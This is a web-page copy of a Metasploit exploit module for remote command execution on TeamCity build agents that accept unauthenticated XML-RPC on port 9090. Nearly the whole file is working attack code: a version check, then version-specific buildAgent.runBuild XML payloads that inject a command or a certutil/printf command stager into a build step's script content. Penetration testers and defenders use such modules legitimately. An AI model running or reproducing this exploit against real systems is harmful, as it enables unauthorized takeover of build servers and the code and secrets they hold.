Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'TeamCity Agent XML-RPC Command Execution',
17
'Description' => %q{
18
This module allows remote code execution on TeamCity Agents configured
19
to use bidirectional communication via xml-rpc. In bidirectional mode
20
the TeamCity server pushes build commands to the Build Agents over port
21
TCP/9090 without requiring authentication. Up until version 10 this was
22
the default configuration. This module supports TeamCity agents from
23
version 6.0 onwards.
24
},
25
'Author' => ['Dylan Pindur <[email protected]>'],
26
'License' => MSF_LICENSE,
27
'References' => [
28
['URL', 'https://www.tenable.com/plugins/nessus/94675']
29
],
30
'Platform' => %w[linux win],
31
'Targets' => [
32
['Windows', { 'Platform' => 'win' }],
33
['Linux', { 'Platform' => 'linux' }]
34
],
35
'DefaultTarget' => 0,
36
'DisclosureDate' => '2015-04-14',
37
'Notes' => {
38
'Reliability' => UNKNOWN_RELIABILITY,
39
'Stability' => UNKNOWN_STABILITY,
40
'SideEffects' => UNKNOWN_SIDE_EFFECTS
41
}
42
)
43
)
44
45
deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
46
register_options(
47
[
48
Opt::RPORT(9090),
49
OptString.new(
50
'CMD',
51
[false, 'Execute this command instead of using command stager', '']
52
)
53
]
54
)
55
end
56
57
def check
58
version = determine_version
59
if !version.nil? && version >= 15772
60
Exploit::CheckCode::Appears
61
else
62
Exploit::CheckCode::Safe
63
end
64
end
65
66
def exploit
67
version = determine_version
68
if version.nil?
69
fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
70
else
71
print_status("Found TeamCity Agent running build version #{version}")
72
end
73
74
unless datastore['CMD'].blank?
75
print_status('Executing user supplied command')
76
execute_command(datastore['CMD'], version)
77
return
78
end
79
80
case target['Platform']
81
when 'linux'
82
linux_stager(version)
83
when 'win'
84
windows_stager(version)
85
else
86
fail_with(Failure::NoTarget, 'Unsupported target platform!')
87
end
88
end
89
90
def windows_stager(version)
91
print_status('Constructing Windows payload')
92
93
stager = generate_cmdstager(
94
flavor: :certutil,
95
temp: '.',
96
concat_operator: "\n",
97
nodelete: true
98
).join("\n")
99
stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')
100
101
xml_payload = build_request(stager, version)
102
if xml_payload.nil?
103
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
104
end
105
106
print_status("Found compatible build config for TeamCity build #{version}")
107
send_request(xml_payload)
108
end
109
110
def linux_stager(version)
111
print_status('Constructing Linux payload')
112
113
stager = generate_cmdstager(
114
flavor: :printf,
115
temp: '.',
116
concat_operator: "\n",
117
nodelete: true
118
).join("\n")
119
stager << ' &amp;'
120
121
xml_payload = build_request(stager, version)
122
if xml_payload.nil?
123
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
124
end
125
126
print_status("Found compatible build config for TeamCity build #{version}")
127
send_request(xml_payload)
128
end
129
130
def execute_command(cmd, version)
131
xml_payload = build_request(cmd, version)
132
133
if xml_payload.nil?
134
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
135
end
136
137
print_status("Found compatible build config for TeamCity build #{version}")
138
send_request(xml_payload)
139
end
140
141
def determine_version
142
xml_payload = %(
143
<?xml version="1.0" encoding="UTF-8"?>
144
<methodCall>
145
<methodName>buildAgent.getVersion</methodName>
146
<params></params>
147
</methodCall>
148
)
149
res = send_request_cgi(
150
{
151
'uri' => '/',
152
'method' => 'POST',
153
'ctype' => 'text/xml',
154
'data' => xml_payload.strip!
155
},
156
10
157
)
158
159
if !res.nil? && res.code == 200
160
xml_doc = res.get_xml_document
161
if xml_doc.errors.empty?
162
val = xml_doc.xpath('/methodResponse/params/param/value')
163
if val.length == 1
164
return val.text.to_i
165
end
166
end
167
end
168
return nil
169
end
170
171
def send_request(xml_payload)
172
res = send_request_cgi(
173
{
174
'uri' => '/',
175
'method' => 'POST',
176
'ctype' => 'text/xml',
177
'data' => xml_payload
178
},
179
10
180
)
181
182
if !res.nil? && res.code == 200
183
print_status("Successfully sent build configuration")
184
else
185
print_status("Failed to send build configuration")
186
end
187
end
188
189
def build_request(script_content, version)
190
case version
191
when 0..15771
192
return nil
193
when 15772..17794
194
return req_teamcity_6(script_content)
195
when 17795..21240
196
return req_teamcity_6_5(script_content)
197
when 21241..27401
198
return req_teamcity_7(script_content)
199
when 27402..32059
200
return req_teamcity_8(script_content)
201
when 32060..42001
202
return req_teamcity_9(script_content)
203
when 42002..46532
204
return req_teamcity_10(script_content)
205
else
206
return req_teamcity_2017(script_content)
207
end
208
end
209
210
def req_teamcity_2017(script_content)
211
build_code = Rex::Text.rand_text_alpha(8)
212
build_id = Rex::Text.rand_text_numeric(8)
213
xml_payload = %(
214
<?xml version="1.0" encoding="UTF-8"?>
215
<methodCall>
216
<methodName>buildAgent.runBuild</methodName>
217
<params>
218
<param>
219
<value>
220
<![CDATA[
221
<AgentBuild>
222
<myBuildId>#{build_id}</myBuildId>
223
<myBuildTypeId>x</myBuildTypeId>
224
<myBuildTypeExternalId>x</myBuildTypeExternalId>
225
<myCheckoutType>ON_AGENT</myCheckoutType>
226
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
227
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
228
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
229
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
230
<myServerParameters class="StringTreeMap">
231
<k>system.build.number</k>
232
<v>0</v>
233
</myServerParameters>
234
<myAccessCode/>
235
<myArtifactDependencies/>
236
<myArtifactPaths/>
237
<myArtifactStorageSettings/>
238
<myBuildFeatures/>
239
<myBuildTypeOptions/>
240
<myFullCheckoutReasons/>
241
<myParametersSpecs class="StringTreeMap"/>
242
<myPersonalVcsChanges/>
243
<myUserBuildParameters/>
244
<myVcsChanges/>
245
<myVcsRootCurrentRevisions class="tree-map"/>
246
<myVcsRootEntries/>
247
<myVcsRootOldRevisions class="tree-map"/>
248
<myBuildRunners>
249
<jetbrains.buildServer.agentServer.BuildRunnerData>
250
<myId>x</myId>
251
<myIsDisabled>false</myIsDisabled>
252
<myRunType>simpleRunner</myRunType>
253
<myRunnerName>x</myRunnerName>
254
<myChildren class="list"/>
255
<myServerParameters class="tree-map">
256
<entry>
257
<string>teamcity.build.step.name</string>
258
<string>x</string>
259
</entry>
260
</myServerParameters>
261
<myRunnerParameters class="tree-map">
262
<entry>
263
<string>script.content</string>
264
<string>#{script_content}</string>
265
</entry>
266
<entry>
267
<string>teamcity.step.mode</string>
268
<string>default</string>
269
</entry>
270
<entry>
271
<string>use.custom.script</string>
272
<string>true</string>
273
</entry>
274
</myRunnerParameters>
275
</jetbrains.buildServer.agentServer.BuildRunnerData>
276
</myBuildRunners>
277
</AgentBuild>
278
]]>
279
</value>
280
</param>
281
</params>
282
</methodCall>
283
)
284
return xml_payload.strip!
285
end
286
287
def req_teamcity_10(script_content)
288
build_code = Rex::Text.rand_text_alpha(8)
289
build_id = Rex::Text.rand_text_numeric(8)
290
xml_payload = %(
291
<?xml version="1.0" encoding="UTF-8"?>
292
<methodCall>
293
<methodName>buildAgent.runBuild</methodName>
294
<params>
295
<param>
296
<value>
297
<![CDATA[
298
<AgentBuild>
299
<myBuildId>#{build_id}</myBuildId>
300
<myBuildTypeId>x</myBuildTypeId>
301
<myBuildTypeExternalId>x</myBuildTypeExternalId>
302
<myCheckoutType>ON_AGENT</myCheckoutType>
303
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
304
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
305
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
306
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
307
<myServerParameters class="StringTreeMap">
308
<k>system.build.number</k>
309
<v>0</v>
310
</myServerParameters>
311
<myAccessCode/>
312
<myArtifactDependencies/>
313
<myArtifactPaths/>
314
<myBuildFeatures/>
315
<myBuildTypeOptions/>
316
<myFullCheckoutReasons/>
317
<myParametersSpecs class="StringTreeMap"/>
318
<myPersonalVcsChanges/>
319
<myUserBuildParameters/>
320
<myVcsChanges/>
321
<myVcsRootCurrentRevisions class="tree-map"/>
322
<myVcsRootEntries/>
323
<myVcsRootOldRevisions class="tree-map"/>
324
<myBuildRunners>
325
<jetbrains.buildServer.agentServer.BuildRunnerData>
326
<myId>x</myId>
327
<myIsDisabled>false</myIsDisabled>
328
<myRunType>simpleRunner</myRunType>
329
<myRunnerName>x</myRunnerName>
330
<myChildren class="list"/>
331
<myServerParameters class="tree-map">
332
<entry>
333
<string>teamcity.build.step.name</string>
334
<string>x</string>
335
</entry>
336
</myServerParameters>
337
<myRunnerParameters class="tree-map">
338
<entry>
339
<string>script.content</string>
340
<string>#{script_content}</string>
341
</entry>
342
<entry>
343
<string>teamcity.step.mode</string>
344
<string>default</string>
345
</entry>
346
<entry>
347
<string>use.custom.script</string>
348
<string>true</string>
349
</entry>
350
</myRunnerParameters>
351
</jetbrains.buildServer.agentServer.BuildRunnerData>
352
</myBuildRunners>
353
</AgentBuild>
354
]]>
355
</value>
356
</param>
357
</params>
358
</methodCall>
359
)
360
return xml_payload.strip!
361
end
362
363
def req_teamcity_9(script_content)
364
build_id = Rex::Text.rand_text_numeric(8)
365
xml_payload = %(
366
<?xml version="1.0" encoding="UTF-8"?>
367
<methodCall>
368
<methodName>buildAgent.runBuild</methodName>
369
<params>
370
<param>
371
<value>
372
<![CDATA[
373
<AgentBuild>
374
<myBuildId>#{build_id}</myBuildId>
375
<myBuildTypeId>x</myBuildTypeId>
376
<myBuildTypeExternalId>x</myBuildTypeExternalId>
377
<myCheckoutType>ON_AGENT</myCheckoutType>
378
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
379
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
380
<myServerParameters class="StringTreeMap">
381
<k>system.build.number</k>
382
<v>0</v>
383
</myServerParameters>
384
<myAccessCode/>
385
<myArtifactDependencies/>
386
<myArtifactPaths/>
387
<myBuildFeatures/>
388
<myBuildTypeOptions/>
389
<myFullCheckoutReasons/>
390
<myPersonalVcsChanges/>
391
<myUserBuildParameters/>
392
<myVcsChanges/>
393
<myVcsRootCurrentRevisions class="tree-map"/>
394
<myVcsRootEntries/>
395
<myVcsRootOldRevisions class="tree-map"/>
396
<myBuildRunners>
397
<jetbrains.buildServer.agentServer.BuildRunnerData>
398
<myId>x</myId>
399
<myIsDisabled>false</myIsDisabled>
400
<myRunType>simpleRunner</myRunType>
401
<myRunnerName>x</myRunnerName>
402
<myChildren class="list"/>
403
<myServerParameters class="tree-map">
404
<entry>
405
<string>teamcity.build.step.name</string>
406
<string>x</string>
407
</entry>
408
</myServerParameters>
409
<myRunnerParameters class="tree-map">
410
<entry>
411
<string>script.content</string>
412
<string>#{script_content}</string>
413
</entry>
414
<entry>
415
<string>teamcity.step.mode</string>
416
<string>default</string>
417
</entry>
418
<entry>
419
<string>use.custom.script</string>
420
<string>true</string>
421
</entry>
422
</myRunnerParameters>
423
</jetbrains.buildServer.agentServer.BuildRunnerData>
424
</myBuildRunners>
425
</AgentBuild>
426
]]>
427
</value>
428
</param>
429
</params>
430
</methodCall>
431
)
432
return xml_payload.strip!
433
end
434
435
def req_teamcity_8(script_content)
436
build_id = Rex::Text.rand_text_numeric(8)
437
xml_payload = %(
438
<?xml version="1.0" encoding="UTF-8"?>
439
<methodCall>
440
<methodName>buildAgent.runBuild</methodName>
441
<params>
442
<param>
443
<value>
444
<![CDATA[
445
<AgentBuild>
446
<myBuildId>#{build_id}</myBuildId>
447
<myBuildTypeId>x</myBuildTypeId>
448
<myCheckoutType>ON_AGENT</myCheckoutType>
449
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
450
<myServerParameters class="tree-map">
451
<entry>
452
<string>system.build.number</string>
453
<string>0</string>
454
</entry>
455
</myServerParameters>
456
<myAccessCode/>
457
<myArtifactDependencies/>
458
<myArtifactPaths/>
459
<myBuildTypeOptions/>
460
<myFullCheckoutReasons/>
461
<myPersonalVcsChanges/>
462
<myUserBuildParameters/>
463
<myVcsChanges/>
464
<myVcsRootCurrentRevisions class="tree-map"/>
465
<myVcsRootEntries/>
466
<myVcsRootOldRevisions class="tree-map"/>
467
<myBuildRunners>
468
<jetbrains.buildServer.agentServer.BuildRunnerData>
469
<myId>x</myId>
470
<myIsDisabled>false</myIsDisabled>
471
<myRunType>simpleRunner</myRunType>
472
<myRunnerName>x</myRunnerName>
473
<myChildren class="list"/>
474
<myServerParameters class="tree-map">
475
<entry>
476
<string>teamcity.build.step.name</string>
477
<string>x</string>
478
</entry>
479
</myServerParameters>
480
<myRunnerParameters class="tree-map">
481
<entry>
482
<string>script.content</string>
483
<string>#{script_content}</string>
484
</entry>
485
<entry>
486
<string>teamcity.step.mode</string>
487
<string>default</string>
488
</entry>
489
<entry>
490
<string>use.custom.script</string>
491
<string>true</string>
492
</entry>
493
</myRunnerParameters>
494
</jetbrains.buildServer.agentServer.BuildRunnerData>
495
</myBuildRunners>
496
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
497
<myBuildFeatures/>
498
</AgentBuild>
499
]]>
500
</value>
501
</param>
502
</params>
503
</methodCall>
504
)
505
return xml_payload.strip!
506
end
507
508
def req_teamcity_7(script_content)
509
build_id = Rex::Text.rand_text_numeric(8)
510
xml_payload = %(
511
<?xml version="1.0" encoding="UTF-8"?>
512
<methodCall>
513
<methodName>buildAgent.runBuild</methodName>
514
<params>
515
<param>
516
<value>
517
<![CDATA[
518
<AgentBuild>
519
<myBuildId>#{build_id}</myBuildId>
520
<myBuildTypeId>x</myBuildTypeId>
521
<myCheckoutType>ON_AGENT</myCheckoutType>
522
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
523
<myServerParameters class="tree-map">
524
<no-comparator/>
525
<entry>
526
<string>system.build.number</string>
527
<string>0</string>
528
</entry>
529
</myServerParameters>
530
<myVcsRootOldRevisions class="tree-map">
531
<no-comparator/>
532
</myVcsRootOldRevisions>
533
<myVcsRootCurrentRevisions class="tree-map">
534
<no-comparator/>
535
</myVcsRootCurrentRevisions>
536
<myAccessCode/>
537
<myArtifactDependencies/>
538
<myArtifactPaths/>
539
<myBuildTypeOptions/>
540
<myFullCheckoutReasons/>
541
<myPersonalVcsChanges/>
542
<myUserBuildParameters/>
543
<myVcsChanges/>
544
<myVcsRootEntries/>
545
<myBuildRunners>
546
<jetbrains.buildServer.agentServer.BuildRunnerData>
547
<myRunType>simpleRunner</myRunType>
548
<myRunnerName>x</myRunnerName>
549
<myRunnerParameters class="tree-map">
550
<no-comparator/>
551
<entry>
552
<string>script.content</string>
553
<string>#{script_content}</string>
554
</entry>
555
<entry>
556
<string>teamcity.step.mode</string>
557
<string>default</string>
558
</entry>
559
<entry>
560
<string>use.custom.script</string>
561
<string>true</string>
562
</entry>
563
</myRunnerParameters>
564
<myServerParameters class="tree-map">
565
<no-comparator/>
566
<entry>
567
<string>teamcity.build.step.name</string>
568
<string>x</string>
569
</entry>
570
</myServerParameters>
571
</jetbrains.buildServer.agentServer.BuildRunnerData>
572
</myBuildRunners>
573
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
574
<myBuildFeatures/>
575
</AgentBuild>
576
]]>
577
</value>
578
</param>
579
</params>
580
</methodCall>
581
)
582
return xml_payload.strip!
583
end
584
585
def req_teamcity_6_5(script_content)
586
build_id = Rex::Text.rand_text_numeric(8)
587
xml_payload = %(
588
<?xml version="1.0" encoding="UTF-8"?>
589
<methodCall>
590
<methodName>buildAgent.run</methodName>
591
<params>
592
<param>
593
<value>
594
<![CDATA[
595
<AgentBuild>
596
<myBuildId>#{build_id}</myBuildId>
597
<myBuildTypeId>x</myBuildTypeId>
598
<myPersonal>false</myPersonal>
599
<myCheckoutType>ON_AGENT</myCheckoutType>
600
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
601
<myServerParameters class="tree-map">
602
<no-comparator/>
603
<entry>
604
<string>system.build.number</string>
605
<string>0</string>
606
</entry>
607
</myServerParameters>
608
<myVcsRootOldRevisions class="tree-map">
609
<no-comparator/>
610
</myVcsRootOldRevisions>
611
<myVcsRootCurrentRevisions class="tree-map">
612
<no-comparator/>
613
</myVcsRootCurrentRevisions>
614
<myAccessCode/>
615
<myArtifactDependencies/>
616
<myBuildTypeOptions/>
617
<myPersonalVcsChanges/>
618
<myUserBuildParameters/>
619
<myVcsChanges/>
620
<myVcsRootEntries/>
621
<myBuildRunners>
622
<jetbrains.buildServer.agentServer.BuildRunnerData>
623
<myRunType>simpleRunner</myRunType>
624
<myRunnerName>x</myRunnerName>
625
<myRunnerParameters class="tree-map">
626
<no-comparator/>
627
<entry>
628
<string>script.content</string>
629
<string>#{script_content}</string>
630
</entry>
631
<entry>
632
<string>use.custom.script</string>
633
<string>true</string>
634
</entry>
635
</myRunnerParameters>
636
<myServerParameters class="tree-map">
637
<no-comparator/>
638
</myServerParameters>
639
</jetbrains.buildServer.agentServer.BuildRunnerData>
640
</myBuildRunners>
641
</AgentBuild>
642
]]>
643
</value>
644
</param>
645
</params>
646
</methodCall>
647
)
648
return xml_payload.strip!
649
end
650
651
def req_teamcity_6(script_content)
652
build_id = Rex::Text.rand_text_numeric(8)
653
xml_payload = %(
654
<?xml version="1.0" encoding="UTF-8"?>
655
<methodCall>
656
<methodName>buildAgent.run</methodName>
657
<params>
658
<param>
659
<value>
660
<![CDATA[
661
<AgentBuild>
662
<myBuildId>#{build_id}</myBuildId>
663
<myBuildTypeId>x</myBuildTypeId>
664
<myAccessCode></myAccessCode>
665
<myPersonal>false</myPersonal>
666
<myCheckoutType>ON_AGENT</myCheckoutType>
667
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
668
<myServerParameters class="tree-map">
669
<no-comparator/>
670
<entry>
671
<string>system.build.number</string>
672
<string>0</string>
673
</entry>
674
</myServerParameters>
675
<myVcsRootOldRevisions class="tree-map">
676
<no-comparator/>
677
</myVcsRootOldRevisions>
678
<myVcsRootCurrentRevisions class="tree-map">
679
<no-comparator/>
680
</myVcsRootCurrentRevisions>
681
<myArtifactDependencies/>
682
<myBuildTypeOptions/>
683
<myPersonalVcsChanges/>
684
<myUserBuildParameters/>
685
<myVcsChanges/>
686
<myVcsRootEntries/>
687
<myBuildRunners>
688
<jetbrains.buildServer.agentServer.BuildRunnerData>
689
<myRunType>simpleRunner</myRunType>
690
<myServerParameters class="tree-map">
691
<no-comparator/>
692
</myServerParameters>
693
<myRunnerParameters class="tree-map">
694
<no-comparator/>
695
<entry>
696
<string>script.content</string>
697
<string>#{script_content}</string>
698
</entry>
699
<entry>
700
<string>use.custom.script</string>
701
<string>true</string>
702
</entry>
703
</myRunnerParameters>
704
</jetbrains.buildServer.agentServer.BuildRunnerData>
705
</myBuildRunners>
706
</AgentBuild>
707
]]>
708
</value>
709
</param>
710
</params>
711
</methodCall>
712
)
713
return xml_payload.strip!
714
end
715
end
716
717